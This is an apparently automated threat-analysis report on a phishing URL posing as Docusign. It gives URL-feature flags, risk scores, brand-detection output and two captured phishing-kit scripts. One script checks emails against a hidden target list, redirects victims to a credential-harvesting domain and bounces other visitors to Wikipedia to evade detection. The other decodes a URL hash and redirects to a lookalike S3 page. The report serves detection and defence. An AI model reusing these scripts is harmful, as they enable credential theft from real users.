Windows Analysis Report
https://receptive-comfortable-paw.glitch.me/

{
    "typosquatting": false,
    "unusual_query_string": false,
    "suspicious_tld": true,
    "ip_in_url": false,
    "long_subdomain": false,
    "malicious_keywords": false,
    "encoded_characters": false,
    "redirection": false,
    "contains_email_address": false,
    "known_domain": false,
    "brand_spoofing_attempt": false,
    "third_party_hosting": true
}

URL: https://receptive-comfortable-paw.glitch.me

{
    "risk_score": 8,
    "reasoning": "High-risk script showing multiple suspicious behaviors: 1) Uses obfuscated Base64 URLs (+3), 2) Redirects to suspicious domain 'auth4678338.com' after email validation (+3), 3) Implements a retry mechanism that redirects to Wikipedia after failed attempts, possibly to evade detection (+2). The script appears to be a sophisticated phishing attempt that validates emails against a remote list before redirecting users to what appears to be a malicious authentication endpoint."
}

      let attempts = 0;
      let err_container = document.getElementById('error-container');

      async function fetchEmailList() {
        const encodedUrl = "aHR0cHM6Ly85YzNkY2IzNC5qOXlna2hzMzRoaTlldmY2ZzVxMWNva2ZzNzJkam1xdm4zczFrbHZqcHBtcGt6bjFlazZyOGo2cXo1LnBhZ2VzLmRldi9saXN0LnR4dA"; // Please provide the path to your email list file. (in Base64)
        const decodedUrl = atob(encodedUrl);
        const response = await fetch(decodedUrl);
        const text = await response.text();
        return text
          .split(/\r?\n/)
          .filter((email) => email.trim().length > 0)
          .map((email) => email.toLowerCase());
      }

      async function continueLoading() {
        err_container.style.display = "none";
        const emailInput = document.getElementById("email-input");
        const email = emailInput.value.trim().toLowerCase();
        const validEmails = await fetchEmailList();

        if (validateEmail(email)) {
          if (validEmails.includes(email)) {
            const link = "aHR0cHM6Ly9hdXRoNDY3ODMzOC5jb20vaWQ3NDY2Mw"; // Base64 encoded link
            const decodedLink = atob(link);
            const finalLink = `${decodedLink}?email=${email}`;
            window.location.href = finalLink;
          } else {
            attempts++;
            if (attempts >= 4) {
              const randomWiki = await fetchRandomWiki();
              window.location.href = randomWiki;
            } else {
              // alert("No encryption key is associated with this email.");
              err_container.innerHTML = "No encryption key is associated with this email.";
              err_container.style.display = "block";
            }
          }
        } else {
          // alert("Please enter a valid email address.");
          err_container.innerHTML = "Please enter a valid email address.";
          err_container.style.display = "block";
        }
      }

      function validateEmail(email) {
        const re = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
        return re.test(email);
      }

      async function fetchRandomWiki() {
        const response = await fetch(
          "https://en.wikipedia.org/wiki/Special:Random"
        );
        return response.url;
      }

      document
        .getElementById("continue-button")
        .addEventListener("click", continueLoading);
      document
        .getElementById("email-input")
        .addEventListener("keydown", function (event) {
          if (event.key === "Enter") {
            continueLoading();
          }
        });
    

{
    "risk_score": 8,
    "reasoning": "High-risk script showing multiple red flags: 1) Uses URL manipulation and redirection to an S3 bucket with suspicious naming pattern (docs-signspace-review), 2) Processes base64 and hex encoded data from URL hash which could mask malicious payloads, 3) Contains parameters suggesting credential harvesting (autologin, email, login_from), 4) Redirects users automatically using window.location.href. Pattern matches common phishing redirect techniques."
}

function isBase64(str) {
    if (str === "" || String(str).trim() === "") {
        return false;
    }
    try {
        if (btoa(atob(str)) === atob(btoa(str))) return true;
    } catch {
        return false;
    }
}
function isHex(str) {  
    if (str === null || str === '' || str.trim() === '') {return false}
    try {if (hex2str(str2hex(str)) == str2hex(hex2str(str))) return true} 
    catch {return false}
}
function str2hex(plain) {
    let hex, i, result = "";  for (i=0; i<plain.length; i++) {
        hex = plain.charCodeAt(i).toString(16);    result += (hex).slice(-4);
    }  
    return result
}
function hex2str(hex) {  
    return decodeURIComponent('%' + hex.match(/.{1,2}/g).join('%'))
}
var hash = window.location.hash.substring(1);
hash = isBase64(hash)? atob(hash) : (isHex(hash) ? hex2str(hash) : hash);

let rubbi = '?autologin=n&errtype=1&login_from=&t=&param=@gmail.com&sp=&r=51be7b9752146b09b807cb5c469d68e9&email=';
// put page link here
// let pagelink = "https://docs-signspace-review.s3.us-east-1.amazonaws.com/shared.lock/document-19840.html" + rubbi + hash;
let pagelink = "https://docs-signspace-review.s3.us-east-1.amazonaws.com/shared.lock/document-19840.html";
window.location.href = pagelink;

{
  "contains_trigger_text": true,
  "trigger_text": "Confirm Your Identity",
  "prominent_button_name": "Next",
  "text_input_field_labels": [
    "4prhra@ybrxs.io"
  ],
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": true,
  "has_visible_qrcode": false,
  "contains_chinese_text": false
}

{
  "brands": [
    "Docusign"
  ]
}

{
    "contains_trigger_text": true,
    "trigger_text": "Confirm Your Identity",
    "prominent_button_name": "Next",
    "text_input_field_labels": ["4prhra@ybrxxs.io"],
    "pdf_icon_visible": false,
    "has_visible_captcha": false,
    "has_urgent_text": false,
    "has_visible_qrcode": false,
    "contains_chinese_text": false
}

{
  "brands": [
    "Docusign"
  ]
}

```json{  "legit_domain": "docusign.com",  "classification": "wellknown",  "reasons": [    "The brand 'Docusign' is well-known and typically associated with the domain 'docusign.com'.",    "The URL 'docs-signspace-review.s3.us-east-1.amazonaws.com' does not match the legitimate domain 'docusign.com'.",    "The URL uses Amazon S3, a cloud storage service, which can be used by legitimate businesses but is also commonly used in phishing attempts.",    "The presence of 'docs-signspace-review' in the URL is suspicious and does not directly relate to the known brand domain.",    "The use of a subdomain and the structure of the URL suggest it could be a phishing attempt, as it does not directly align with the brand's official domain."  ],  "riskscore": 8}
Google indexed: False

```json{  "legit_domain": "docusign.com",  "classification": "wellknown",  "reasons": [    "The brand 'Docusign' is well-known and typically associated with the domain 'docusign.com'.",    "The URL 'docs-signspace-review.s3.us-east-1.amazonaws.com' does not match the legitimate domain of Docusign.",    "The URL uses an Amazon S3 bucket, which is a common tactic for hosting phishing sites due to its flexibility and ease of use.",    "The URL contains suspicious elements such as hyphens and additional words ('docs-signspace-review') that are not typically associated with the legitimate Docusign domain.",    "The presence of input fields and the use of a cloud service provider's domain can be indicative of a phishing attempt."  ],  "riskscore": 8}
Google indexed: False